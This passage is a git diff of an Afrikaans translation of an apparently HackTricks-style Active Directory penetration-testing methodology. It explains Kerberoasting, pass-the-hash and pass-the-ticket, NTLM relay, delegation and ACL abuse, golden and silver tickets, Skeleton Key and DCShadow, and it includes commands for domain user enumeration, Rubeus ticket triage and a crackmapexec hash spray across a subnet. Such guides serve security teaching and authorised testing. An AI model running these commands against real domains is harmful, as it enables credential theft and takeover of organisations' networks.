+Dit is baie maklik om al die domeingebruikersname vanaf Windows te bekom (`net user /domain` ,`Get-DomainUser` of `wmic useraccount get name,sid`). In Linux kan jy gebruik: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` of `enum4linux -a -u "user" -p "password" <DC IP>`

-> Selfs al lyk hierdie Enumerasie-afdeling klein, dit is die belangrikste deel van alles. Gaan na die skakels (veral dié van cmd, powershell, powerview en BloodHound), leer hoe om 'n domein te enumereer en oefen totdat jy gemaklik voel. Tydens 'n assessment sal dit die sleutel oomblik wees om jou pad na DA te vind of te besluit dat niks gedoen kan word nie.
+> Alhoewel hierdie Enumerasie-afdeling klein lyk, is dit die belangrikste deel van alles. Gaan die skakels deur (veral dié van cmd, powershell, powerview en BloodHound), leer hoe om 'n domein te enumerate en oefen totdat jy gemaklik voel. Tydens 'n assessment, sal dit die sleutel oomblik wees om jou pad na DA te vind of te besluit dat niks gedoen kan word nie.

 ### Kerberoast

-Kerberoasting behels die verkryging van **TGS tickets** wat deur dienste wat aan gebruikersrekeninge verbonde is gebruik word, en die kraking van hul enkripsie — wat gebaseer is op gebruikerswagwoorde — offline.
-
-More about this in:
+Kerberoasting behels die verkryging van **TGS tickets** wat deur dienste gebruik word wat aan gebruikersrekeninge gekoppel is, en die kraking van hul enkripsie — wat gebaseer is op gebruikerswagwoorde — **offline**.

+Meer hieroor in:

 {{#ref}}
 kerberoast.md
@ -197,17 +192,17 @@ kerberoast.md

 ### Remote connexion (RDP, SSH, FTP, Win-RM, etc)

-Sodra jy sommige credentials verkry het, kan jy kyk of jy toegang tot enige masjien het. Daarvoor kan jy **CrackMapExec** gebruik om te probeer verbind met verskeie bedieners oor verskillende protokolle, ooreenkomstig jou port scans.
+Sodra jy sekere credentials het, kan jy kyk of jy toegang tot enige **machine** het. Hiervan kan jy **CrackMapExec** gebruik om te probeer verbind met verskeie servers oor verskillende protokolle, ooreenkomstig jou portskanderings.

 ### Local Privilege Escalation

-As jy credentials of 'n sessie as 'n gewone domain user gekompromitteer het en jy het met hierdie gebruiker toegang tot enige masjien in die domein, moet jy probeer om plaaslik jou voorregte te eskaleer en loot vir credentials. Dit is omdat slegs met plaaslike administrateur-voorregte jy in staat sal wees om hashes van ander gebruikers te dump uit geheue (LSASS) en lokaal (SAM).
+As jy gekompromitteerde credentials of 'n sessie as 'n gewone domeingebruiker het en jy met hierdie gebruiker toegang tot **enige machine in die domein** het, moet jy probeer om plaaslik jou voorregte te verhoog en kredensiale te plunder. Dit is omdat slegs met plaaslike administrateurvoorregte jy die **hashes van ander gebruikers** in geheue (LSASS) en plaaslik (SAM) kan dump.

-Daar is 'n volledige bladsy in hierdie boek oor [**local privilege escalation in Windows**](../windows-local-privilege-escalation/index.html) en 'n [**checklist**](../checklist-windows-privilege-escalation.md). Moenie vergeet om [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) te gebruik nie.
+Daar is 'n volledige bladsy in hierdie boek oor [**local privilege escalation in Windows**](../windows-local-privilege-escalation/index.html) en 'n [**checklist**](../checklist-windows-privilege-escalation.md). Moet ook nie vergeet om [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) te gebruik nie.

 ### Current Session Tickets

-Dit is baie onwaarskynlik dat jy tickets in die huidige gebruiker sal vind wat jou toestemming gee om onvoorsiene hulpbronne te bereik, maar jy kan kyk:
+Dit is baie **onwaarskynlik** dat jy **tickets** in die huidige gebruiker sal vind wat jou toestemming gee om toegang tot onverwagte hulpbronne te kry, maar jy kan dit nagaan:
 ```bash
 ## List all tickets (if not admin, only current user tickets)
 .\Rubeus.exe triage
@ -217,17 +212,17 @@ Dit is baie onwaarskynlik dat jy tickets in die huidige gebruiker sal vind wat j
 ```
 ### NTLM Relay

-As jy daarin geslaag het om die Active Directory te enumereer sal jy **meer e-posadresse en 'n beter begrip van die netwerk** hê. Jy mag in staat wees om NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
+As jy daarin geslaag het om die Active Directory te enumereer, sal jy **meer e-posadresse en 'n beter begrip van die netwerk** hê. Jy mag daarin slaag om NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)** af te dwing.**

-### Soek na Creds in Computer Shares | SMB Shares
+### Looks for Creds in Computer Shares | SMB Shares

-Nou dat jy 'n paar basiese credentials het, moet jy kyk of jy enige **interessante lêers wat binne die AD gedeel word** kan **vind**. Jy kan dit handmatig doen, maar dit is 'n baie vervelige, herhalende taak (veral as jy honderde dokumente kry wat jy moet nagaan).
+Nou dat jy 'n paar basiese credentials het, moet jy check of jy enige **interessante lêers wat binne die AD gedeel word** kan **vind**. Jy kan dit manueel doen, maar dit is 'n baie vervelige, herhalende taak (veral as jy honderde docs vind wat jy moet nagaan).

-[**Volg hierdie skakel om te leer oor gereedskap wat jy kan gebruik.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
+[**Follow this link to learn about tools you could use.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)

 ### Steal NTLM Creds

-As jy toegang tot ander PCs of shares kan kry, kan jy lêers plaas (soos 'n SCF file) wat, as dit op een of ander manier geopen word, 'n **NTLM authentication teen jou sal veroorsaak** sodat jy die **NTLM challenge** kan **steal** om dit te krak:
+As jy toegang tot ander rekenaars of shares kan kry, kan jy **place files** (soos 'n SCF file) wat, as dit op een of ander manier geopen word, t**rigger an NTLM authentication against you** sodat jy **steal** die **NTLM challenge** kan kry om dit te kraak:


 {{#ref}}
@ -236,7 +231,7 @@ As jy toegang tot ander PCs of shares kan kry, kan jy lêers plaas (soos 'n SCF

 ### CVE-2021-1675/CVE-2021-34527 PrintNightmare

-Hierdie kwetsbaarheid het enige geauthentiseerde gebruiker in staat gestel om die **domain controller** te kompromitteer.
+Hierdie kwesbaarheid het enige geverifieerde gebruiker toegelaat om die **domain controller** te kompromiteer.


 {{#ref}}
@ -245,23 +240,24 @@ printnightmare.md

 ## Privilege escalation on Active Directory WITH privileged credentials/session

-**Vir die volgende techniques is 'n gewone domain user nie genoeg nie; jy benodig spesiale privileges/credentials om hierdie attacks uit te voer.**
+**Vir die volgende tegnieke is 'n gewone domeingebruiker nie genoeg nie; jy het spesiale voorregte/credentials nodig om hierdie aanvalle uit te voer.**

 ### Hash extraction

-Hopelik het jy daarin geslaag om 'n **lokale admin** rekening te kompromitteer met behulp van [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) insluitend relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/index.html).  
-Dan is dit tyd om al die hashes in geheue en plaaslik te dump.  
-[**Lees hierdie bladsy oor verskillende maniere om die hashes te verkry.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
+Hopelik het jy daarin geslaag om 'n **local admin** rekening te kompromiteer deur gebruik te maak van [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) insluitend relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/index.html).\
+Dan is dit tyd om al die hashes in geheue en plaaslik uit te haal.\
+[**Read this page about different ways to obtain the hashes.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)

 ### Pass the Hash

-**Sodra jy die hash van 'n gebruiker het**, kan jy dit gebruik om hom/haar te **impersonate**.  
-Jy moet 'n **tool** gebruik wat die **NTLM authentication met daardie hash sal uitvoer**, **of** jy kan 'n nuwe **sessionlogon** skep en daardie **hash** in **LSASS** inject, sodat wanneer enige **NTLM authentication** uitgevoer word, daardie **hash** gebruik sal word. Die laaste opsie is wat mimikatz doen.  
-[**Lees hierdie bladsy vir meer inligting.**](../ntlm/index.html#pass-the-hash)
+**Sodra jy die hash van 'n gebruiker het**, kan jy dit gebruik om as daardie gebruiker **impersonate**.\
+Jy moet 'n **tool** gebruik wat die **NTLM authentication using** daardie **hash** sal uitvoer, **of** jy kan 'n nuwe **sessionlogon** skep en daardie **hash** in **LSASS** inject, sodat wanneer enige **NTLM authentication is performed**, daardie **hash** gebruik sal word. Die laaste opsie is wat mimikatz doen.\
+[**Read this page for more information.**](../ntlm/index.html#pass-the-hash)

 ### Over Pass the Hash/Pass the Key

-Hierdie attack mik daarop om die **user NTLM hash te gebruik om Kerberos tickets aan te vra**, as 'n alternatief vir die algemene Pass The Hash oor NTLM-protokol. Daarom kan dit veral **nuttig wees in netwerke waar die NTLM protocol gedeaktiveer is** en slegs **Kerberos as authentication protocol toegelaat word**.
+Hierdie aanval poog om die **user NTLM hash te gebruik om Kerberos tickets aan te vra**, as 'n alternatief tot die algemene Pass The Hash oor NTLM-protokol. Dit kan veral **nuttig wees in netwerke waar NTLM-protokol gedeaktiveer is** en slegs **Kerberos as autentiseringsprotokol** toegelaat word.
+

 {{#ref}}
 over-pass-the-hash-pass-the-key.md
@ -269,7 +265,8 @@ over-pass-the-hash-pass-the-key.md

 ### Pass the Ticket

-In die **Pass The Ticket (PTT)** attack-metode steel aanvallers 'n gebruiker se **authentication ticket** in plaas van hul wagwoord of hash-waardes. Hierdie gesteelde ticket word dan gebruik om die gebruiker te **impersonate**, en sodoende ongemagtigde toegang tot hulpbronne en dienste binne 'n netwerk te verkry.
+In die **Pass The Ticket (PTT)** aanvalsmethode steel aanvallers 'n gebruiker se autentiseringsticket in plaas van hulle wagwoord of hash-waardes. Hierdie gesteelde ticket word dan gebruik om die gebruiker te **impersonate**, en ongeskikte toegang tot hulpbronne en dienste binne die netwerk te verkry.
+

 {{#ref}}
 pass-the-ticket.md
@ -277,19 +274,19 @@ pass-the-ticket.md

 ### Credentials Reuse

-As jy die **hash** of **password** van 'n **local administrator** het, moet jy probeer om daarmee **login locally** op ander **PCs**.
+As jy die **hash** of **password** van 'n **local administrator** het, moet jy probeer om plaaslik by ander **PCs** daarmee aan te meld.
 ```bash
 # Local Auth Spray (once you found some local admin pass or hash)
 ## --local-auth flag indicate to only try 1 time per machine
 crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
 ```
 > [!WARNING]
-> Let daarop dat dit redelik **ruisend** is en **LAPS** dit sou **verminder**.
+> Let wel dat dit nogal **opvallend** is en **LAPS** dit **sal verminder**.

 ### MSSQL Abuse & Trusted Links

-As 'n gebruiker die voorregte het om **MSSQL instances te toegang**, kan hy/sy dit gebruik om **opdragte uit te voer** op die MSSQL-host (as dit as SA loop), die NetNTLM **hash** te **steel** of selfs 'n **relay attack** uit te voer.\
-As 'n MSSQL-instantie deur 'n ander MSSQL-instantie vertrou word (database link) en die gebruiker het voorregte oor die vertroude databasis, sal die gebruiker die **vertrouensverhouding kan gebruik om ook navrae in die ander instansie uit te voer**. Hierdie trusts kan geketting word en op 'n stadium kan die gebruiker 'n foutief ge-konfigureerde databasis vind waar hy/sy opdragte kan uitvoer.\
+As 'n gebruiker toestemming het om **MSSQL instances te benader**, kan hy dit gebruik om **opdragte uit te voer** op die MSSQL-gasheer (as dit as SA loop), die NetNTLM **hash** te **steel** of selfs 'n **relay attack** uit te voer.\
+Ook, as 'n MSSQL-instance deur 'n ander MSSQL-instance vertrou word (database link). As die gebruiker regte oor die vertroude databasis het, sal hy die **vertrouensverhouding kan gebruik om ook navrae in die ander instance uit te voer**. Hierdie vertroue kan geketting word en op 'n stadium kan die gebruiker 'n verkeerd gekonfigureerde databasis vind waar hy opdragte kan uitvoer.\
 **Die skakels tussen databasisse werk selfs oor forest trusts.**


@ -299,7 +296,7 @@ abusing-ad-mssql.md

 ### IT asset/deployment platforms abuse

-Derdeparty-inventaris- en implementeringssuite ontbloot dikwels kragtige paaie na credentials en kode-uitvoering. Sien:
+Derdeparty-inventaris- en deployment-suite gee dikwels magtige paaie na credentials en code execution. Sien:

 {{#ref}}
 sccm-management-point-relay-sql-policy-secrets.md
@ -311,9 +308,9 @@ lansweeper-security.md

 ### Unconstrained Delegation

-As jy enige Computer-objek vind met die attribuut [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) en jy het domeinvoorregte op die rekenaar, sal jy TGT's uit die geheue kan dump van elke gebruiker wat op daardie rekenaar aanmeld.\
-Dus, as 'n **Domain Admin op die rekenaar aanmeld**, kan jy sy TGT dump en hom imiteer met [Pass the Ticket](pass-the-ticket.md).\
-Danksy constrained delegation kan jy selfs **outomaties 'n Print Server kompromitteer** (hopelik is dit 'n DC).
+As jy enige Computer-object vind met die attribuut [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) en jy het domain privileges op die rekenaar, sal jy TGTs uit die geheue van elke gebruiker wat op die rekenaar aanmeld kan dump.\
+Dus, as 'n **Domain Admin op die rekenaar aanmeld**, sal jy sy TGT kan dump en hom kan impersonate met [Pass the Ticket](pass-the-ticket.md).\
+Dankie aan constrained delegation kan jy selfs **outomaties 'n Print Server kompromitteer** (hopelik sal dit 'n DC wees).


 {{#ref}}
@ -322,8 +319,8 @@ unconstrained-delegation.md

 ### Constrained Delegation

-As 'n gebruiker of rekenaar vir "Constrained Delegation" toegelaat is, kan dit **enige gebruiker imiteer om toegang tot sekere dienste op 'n rekenaar te kry**.\
-Indien jy die **hash kompromitteer** van hierdie gebruiker/rekenaar, kan jy **enige gebruiker imiteer** (insluitend Domain Admins) om toegang tot sommige dienste te verkry.
+As 'n gebruiker of rekenaar vir "Constrained Delegation" toegelaat is, sal dit in staat wees om **enige gebruiker te impersonate om toegang tot sekere dienste op 'n rekenaar te kry**.\
+Dan, as jy die **hash van hierdie gebruiker/rekenaar kompromitteer**, sal jy in staat wees om **enige gebruiker te impersonate** (selfs domain admins) om toegang tot sommige dienste te kry.


 {{#ref}}
@ -332,7 +329,7 @@ constrained-delegation.md

 ### Resourced-based Constrain Delegation

-Om **WRITE**-voorregte op 'n Active Directory-objek van 'n afgeleë rekenaar te hê, maak dit moontlik om kode-uitvoering met **verhoogde voorregte** te bekom:
+Om **WRITE**-toestemming op 'n Active Directory-objek van 'n veraf rekenaar te hê, maak dit moontlik om code execution met **verhoogde voorregte** te bekom:


 {{#ref}}
@ -341,7 +338,7 @@ resource-based-constrained-delegation.md

 ### Permissions/ACLs Abuse

-Die gekompromitteerde gebruiker kan sommige **interessante voorregte oor bepaalde domeinobjekte** hê wat jou toelaat om lateraal te **beweg** of voorregte te **eskaleer**.
+Die gekompromitteerde gebruiker kan sommige **interessante voorregte oor sekere domain-objekte** hê wat jou toelaat om laterale beweging/voorregte op te gradeer.


 {{#ref}}
@ -359,8 +356,8 @@ printers-spooler-service-abuse.md

 ### Third party sessions abuse

-As **ander gebruikers** toegang tot die **gekompromitteerde** masjien het, is dit moontlik om **credentials uit geheue te versamel** en selfs **beacons in hul prosesse in te spuit** om hulle te imiteer.\
-Gewoonlik sal gebruikers die stelsel via RDP gebruik, dus hier is hoe om 'n paar aanvalle oor derdeparty RDP-sessies uit te voer:
+As **ander gebruikers** die **gekompromitteerde** masjien **gebruik**, is dit moontlik om **credentials uit die geheue te versamel** en selfs **beacons in hul prosesse te inject** om hulle te impersonate.\
+Gewoonlik sal gebruikers die stelsel via RDP betree, so hier is hoe om 'n paar aanvalle oor derdeparty RDP-sessies uit te voer:


 {{#ref}}
@ -369,7 +366,7 @@ rdp-sessions-abuse.md

 ### LAPS

-**LAPS** voorsien 'n stelsel om die **lokale Administrator-wagwoord** op domain-joined rekenaars te bestuur, sodat dit **gerandomiseer**, uniek en gereeld **verander** word. Hierdie wagwoorde word in Active Directory gestoor en toegang word deur ACL's slegs aan gemagtigde gebruikers beheer. Met voldoende toestemming om hierdie wagwoorde te lees, word pivoting na ander rekenaars moontlik.
+**LAPS** verskaf 'n stelsel om die **local Administrator password** op domain-joined rekenaars te bestuur, wat verseker dat dit **gerandomiseer**, uniek en gereeld **verander** word. Hierdie passwords word in Active Directory gestoor en toegang word deur ACLs tot gemagtigde gebruikers beperk. Met voldoende toestemmings om hierdie passwords te lees, word pivoting na ander rekenaars moontlik.


 {{#ref}}
@ -378,7 +375,7 @@ laps.md

 ### Certificate Theft

-**Versameling van sertifikate** van die gekompromitteerde masjien kan 'n manier wees om voorregte binne die omgewing te eskaleer:
+**Versameling van certificates** van die gekompromitteerde masjien kan 'n manier wees om voorregte in die omgewing te eskaleer:


 {{#ref}}
@ -387,7 +384,7 @@ ad-certificates/certificate-theft.md

 ### Certificate Templates Abuse

-As **kwesbare templates** gekonfigureer is, kan dit misbruik word om voorregte te eskaleer:
+As **kwesbare templates** gekonfigureer is, is dit moontlik om hulle te misbruik om voorregte te eskaleer:


 {{#ref}}
@ -398,16 +395,16 @@ ad-certificates/domain-escalation.md

 ### Dumping Domain Credentials

-Sodra jy **Domain Admin** of, nog beter, **Enterprise Admin** voorregte kry, kan jy die **domeindatabasis** dump: _ntds.dit_.
+Sodra jy **Domain Admin** of nog beter **Enterprise Admin** voorregte kry, kan jy die **domeindatabasis** dump: _ntds.dit_.

-[**Meer inligting oor die DCSync-aanval is hier te vind**](dcsync.md).
+[**Meer inligting oor DCSync attack is hier te vind**](dcsync.md).

 [**Meer inligting oor hoe om die NTDS.dit te steel is hier te vind**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)

 ### Privesc as Persistence

-Sommige van die tegnieke hierbo beskryf kan gebruik word vir persistentie.\
-Byvoorbeeld, jy kan:
+Sommige van die tegnieke vroeër bespreek kan gebruik word vir persistentie.\
+Byvoorbeeld kan jy:

 - Maak gebruikers kwesbaar vir [**Kerberoast**](kerberoast.md)

@ -429,7 +426,7 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti

 ### Silver Ticket

-Die **Silver Ticket aanval** skep 'n **legitieme Ticket Granting Service (TGS) ticket** vir 'n spesifieke diens deur die gebruik van die **NTLM hash** (bv. die **hash van die PC-rekening**). Hierdie metode word gebruik om **toegang tot die diens se voorregte** te kry.
+Die **Silver Ticket attack** skep 'n **legitieme Ticket Granting Service (TGS) ticket** vir 'n spesifieke diens deur die gebruik van die **NTLM hash** (byvoorbeeld, die **hash van die PC account**). Hierdie metode word gebruik om **toegang tot daardie diens se voorregte** te kry.


 {{#ref}}
@ -438,9 +435,9 @@ silver-ticket.md

 ### Golden Ticket

-'n **Golden Ticket aanval** behels dat 'n aanvaller toegang kry tot die **NTLM hash van die krbtgt-rekening** in 'n Active Directory-omgewing. Hierdie rekening is spesiaal omdat dit gebruik word om alle **Ticket Granting Tickets (TGTs)** te teken, wat noodsaaklik is vir verifikasie binne die AD-netwerk.
+'n **Golden Ticket attack** behels dat 'n aanvaller toegang kry tot die **NTLM hash van die krbtgt account** in 'n Active Directory-omgewing. Hierdie rekening is spesiaal omdat dit gebruik word om alle **Ticket Granting Tickets (TGTs)** te teken, wat noodsaaklik is vir verifikasie binne die AD-netwerk.

-Sodra die aanvaller hierdie hash bekom, kan hulle **TGTs** vir enige rekening skep wat hulle kies (Silver ticket-aanval).
+Sodra die aanvaller hierdie hash bekom, kan hulle **TGTs** skep vir enige rekening wat hulle kies (Silver ticket attack).


 {{#ref}}
@ -449,7 +446,7 @@ golden-ticket.md

 ### Diamond Ticket

-Hierdie is soos golden tickets, maar vervals op 'n manier wat **algemene opsporingsmeganismes vir golden tickets omseil.**
+Hierdie is soos golden tickets wat vervals word op 'n wyse wat **algemene golden ticket-detektiemeganismes omseil.**


 {{#ref}}
@ -458,7 +455,7 @@ diamond-ticket.md

 ### **Certificates Account Persistence**

-**Om sertifikate van 'n rekening te hê of dit te kan versoek** is 'n uitstekende manier om in die gebruiker se rekening te kan bly (selfs as hy/sy die wagwoord verander):
+**Om certificates van 'n rekening te hê of dit te kan versoek** is 'n baie goeie manier om in die gebruiker se rekening te bly (selfs al verander hy sy wagwoord):


 {{#ref}}
@ -467,7 +464,7 @@ ad-certificates/account-persistence.md

 ### **Certificates Domain Persistence**

-**Om sertifikate te gebruik is ook moontlik om met hoë voorregte in die domein persistentie te handhaaf:**
+**Die gebruik van certificates maak dit ook moontlik om met hoë voorregte binne die domein persistent te bly:**


 {{#ref}}
@ -476,13 +473,13 @@ ad-certificates/domain-persistence.md

 ### AdminSDHolder Group

-Die **AdminSDHolder**-objek in Active Directory verseker die sekuriteit van **bevoorregte groepe** (soos Domain Admins en Enterprise Admins) deur 'n standaard **Access Control List (ACL)** oor hierdie groepe toe te pas om ongemagtigde veranderinge te verhoed. Hierdie funksie kan egter misbruik word; as 'n aanvaller die AdminSDHolder se ACL wysig om volle toegang aan 'n gewone gebruiker te gee, kry daardie gebruiker uitgebreide beheer oor alle bevoorregte groepe. Hierdie sekuriteitsmaatreël, bedoel om te beskerm, kan dus teëgewerk word en ongewensde toegang moontlik maak tensy dit noukeurig gemonitor word.
+Die **AdminSDHolder**-object in Active Directory verseker die sekuriteit van **bevoorregte groepe** (soos Domain Admins en Enterprise Admins) deur 'n standaard **Access Control List (ACL)** oor hierdie groepe toe te pas om ongemagtigde veranderinge te voorkom. Hierdie funksie kan egter misbruik word; as 'n aanvaller die AdminSDHolder se ACL wysig om volle toegang aan 'n gewone gebruiker te gee, kry daardie gebruiker uitgebreide beheer oor al die bevoorregte groepe. Hierdie sekuriteitsmaatreël, bedoel om te beskerm, kan dus teengesteld werk en ongerechtigde toegang moontlik maak tensy dit noukeurig gemonitor word.

 [**Meer inligting oor AdminDSHolder Group hier.**](privileged-groups-and-token-privileges.md#adminsdholder-group)

 ### DSRM Credentials

-In elke **Domain Controller (DC)** bestaan daar 'n **lokale administrateur**-rekening. Deur adminregte op so 'n masjien te verkry, kan die lokale Administrator-hash met **mimikatz** geëkstraheer word. Daarna is 'n registerwysiging nodig om die gebruik van hierdie wagwoord te **aktiveer**, wat afstandstoegang tot die plaaslike Administrator-rekening moontlik maak.
+In elke **Domain Controller (DC)** bestaan daar 'n **local administrator**-rekening. Deur adminregte op so 'n masjien te kry, kan die local Administrator-hash met **mimikatz** uitgehaal word. Daarna is 'n registerwysiging nodig om **die gebruik van hierdie wagwoord te aktiveer**, wat remote toegang tot die local Administrator-rekening toelaat.


 {{#ref}}
@ -491,7 +488,7 @@ dsrm-credentials.md

 ### ACL Persistence

-Jy kan sommige **spesiale voorregte** aan 'n **gebruiker** gee oor spesifieke domeinobjekte wat die gebruiker in staat sal stel om in die toekoms **voorregte te eskaleer**.
+Jy kan **spesiale toestemmings** aan 'n **gebruiker** gee oor spesifieke domein-objekte wat die gebruiker sal toelaat om in die toekoms **voorregte op te gradeer**.


 {{#ref}}
@ -500,7 +497,7 @@ acl-persistence-abuse/

 ### Security Descriptors

-Die **security descriptors** word gebruik om die **regsituasie** wat 'n **object** oor 'n ander **object** het, te **stoor**. As jy 'n klein verandering in die **security descriptor** van 'n objek kan maak, kan jy baie interessante voorregte oor daardie objek bekom sonder om lid van 'n bevoorregte groep te hoef te wees.
+Die **security descriptors** word gebruik om die **toestemmings** wat 'n **objek** oor 'n ander **objek** het, te **stoor**. As jy net 'n **klein verandering** in die **security descriptor** van 'n objek kan maak, kan jy baie interessante voorregte oor daardie objek bekom sonder om 'n lid van 'n bevoorregte groep te hoef te wees.


 {{#ref}}
@ -509,7 +506,7 @@ security-descriptors.md

 ### Skeleton Key

-Verander **LSASS** in geheue om 'n **universale wagwoord** te vestig, wat toegang tot alle domeinrekeninge gee.
+Wysig **LSASS** in geheue om 'n **universele wagwoord** te stel, wat toegang tot alle domeinrekeninge gee.


 {{#ref}}
@ -519,7 +516,7 @@ skeleton-key.md
 ### Custom SSP

 [Leer wat 'n SSP (Security Support Provider) is hier.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
-Jy kan jou **eie SSP** skep om **credentials** wat gebruik word om op die masjien aan te meld in **clair teks** te **vang**.
+Jy kan jou **eie SSP** skep om **credentials in clear text te capture** wat gebruik word om die masjien te betree.


 {{#ref}}
@ -528,8 +525,8 @@ custom-ssp.md

 ### DCShadow

-Dit registreer 'n **nuwe Domain Controller** in die AD en gebruik dit om attributte (SIDHistory, SPNs...) op gespesifiseerde objekte te **push** **sonder** om logs van die **wysigings** te laat. Jy **behoort DA**-voorregte te hê en binne die **root domain** te wees.\
-Let wel: as jy verkeerde data gebruik, sal leliker logs voorkom.
+Dit registreer 'n **nuwe Domain Controller** in die AD en gebruik dit om **attribure** (SIDHistory, SPNs...) op gespesifiseerde voorwerpe **te push** **sonder** om enige **logs** oor die **wysigings** te laat. Jy **behoort DA**-voorregte te hê en binne die **root domain** te wees.\
+Let daarop dat as jy verkeerde data gebruik, baie lelike logs kan voorkom.


 {{#ref}}
@ -538,7 +535,7 @@ dcshadow.md

 ### LAPS Persistence

-Hierbo het ons bespreek hoe om voorregte te eskaleer as jy **genoeg toestemming het om LAPS-wagwoorde te lees**. Hierdie wagwoorde kan egter ook gebruik word om **persistentie** te handhaaf.\
+Vreër het ons bespreek hoe om voorregte te eskaleer as jy **genoeg toestemming het om LAPS-wagwoorde te lees**. Hierdie wagwoorde kan egter ook gebruik word om **persistentie te handhaaf**.\
 Kyk:


@ -548,62 +545,62 @@ laps.md

 ## Forest Privilege Escalation - Domain Trusts

-Microsoft beskou die **Forest** as die sekuriteitsgrens. Dit impliseer dat **die kompromittering van 'n enkele domein moontlik tot die kompromittering van die hele Forest kan lei**.
+Microsoft sien die **Forest** as die sekuriteitsgrens. Dit impliseer dat **die kompromittering van 'n enkele domein moontlik kan lei tot die kompromittering van die hele Forest**.

 ### Basic Information

-'n [**domain trust**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) is 'n sekuriteitsmeganisme wat 'n gebruiker van een **domein** toelaat om hulpbronne in 'n ander **domein** te gebruik. Dit skep 'n skakel tussen die verifikasiestelsels van die twee domeine, wat verifikasie-verkeer laat vloei. Wanneer domeine 'n trust opstel, ruil en stoor hulle spesifieke **sleutels** binne hul **Domain Controllers (DCs)** wat kritiek is vir die trust se integriteit.
+'n [**domain trust**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) is 'n sekuriteitsmeganisme wat 'n gebruiker van een **domain** in staat stel om hulpbronne in 'n ander **domain** te gebruik. Dit skep 'n skakeling tussen die verifikasiestelsels van die twee domeine, sodat verifikasie-vloei naatloos kan gebeur. Wanneer domeine 'n trust opstel, ruil hulle spesifieke **sleutels** uit en hou dit by hul **Domain Controllers (DCs)**, wat belangrik is vir die trust se integriteit.

-In 'n tipiese scenario, as 'n gebruiker 'n diens in die **vertroude domein** wil bereik, moet hulle eers 'n spesiale ticket, bekend as 'n **inter-realm TGT**, van hul eie domein se DC aanvra. Hierdie TGT is met 'n gedeelde **sleutel** versleuteld wat albei domeine deel. Die gebruiker bied dan hierdie TGT by die **DC van die vertroude domein** aan om 'n diens-ticket (**TGS**) te kry. Nadat die vertroude domein se DC die inter-realm TGT suksesvol geverifieer het, gee dit 'n TGS uit wat die gebruiker toegang tot die diens verleen.
+In 'n tipiese scenario, as 'n gebruiker 'n diens in 'n **vertroude domein** wil bereik, moet hy eers 'n spesiale kaartjie genaamd 'n **inter-realm TGT** by sy eie domein se DC aansoek doen. Hierdie TGT is geënkripteer met 'n gedeelde **sleutel** wat albei domeine ooreengekom het. Die gebruiker neem dan hierdie TGT na die **DC van die vertroude domein** om 'n dienstitel (**TGS**) te kry. Nadat die vertroude domein se DC die inter-realm TGT suksesvol geverifieer het, gee dit 'n TGS uit wat die gebruiker toegang tot die diens verleen.

 **Stappe**:

-1. 'n **Kliëntrekenaar** in **Domein 1** begin die proses deur sy **NTLM hash** te gebruik om 'n **Ticket Granting Ticket (TGT)** van sy **Domain Controller (DC1)** te versoek.
-2. DC1 gee 'n nuwe TGT uit as die kliënt suksesvol geverifieer word.
-3. Die kliënt versoek dan 'n **inter-realm TGT** van DC1, wat benodig word om hulpbronne in **Domein 2** te bereik.
-4. Die inter-realm TGT is versleuteld met 'n **trust key** wat tussen DC1 en DC2 gedeel word as deel van die tweerigting domeintrust.
-5. Die kliënt neem die inter-realm TGT na **Domein 2 se Domain Controller (DC2)**.
-6. DC2 verifieer die inter-realm TGT met sy gedeelde trust key en, indien geldig, gee dit 'n **Ticket Granting Service (TGS)** vir die bediener in Domein 2 wat die kliënt wil gebruik.
-7. Laastens, die kliënt bied hierdie TGS aan die bediener, wat met die bediener se rekeninghash versleuteld is, om toegang tot die diens in Domein 2 te kry.
+1. 'n **client computer** in **Domain 1** begin die proses deur sy **NTLM hash** te gebruik om 'n **Ticket Granting Ticket (TGT)** by sy **Domain Controller (DC1)** aan te vra.
+2. DC1 gee 'n nuwe TGT uit as die kliënt suksesvol geverifieer is.
+3. Die kliënt vra dan 'n **inter-realm TGT** van DC1 aan, wat nodig is om hulpbronne in **Domain 2** te bereik.
+4. Die inter-realm TGT is geënkripteer met 'n **trust key** wat tussen DC1 en DC2 gedeel word as deel van die tweerigting domain trust.
+5. Die kliënt neem die inter-realm TGT na **Domain 2 se Domain Controller (DC2)**.
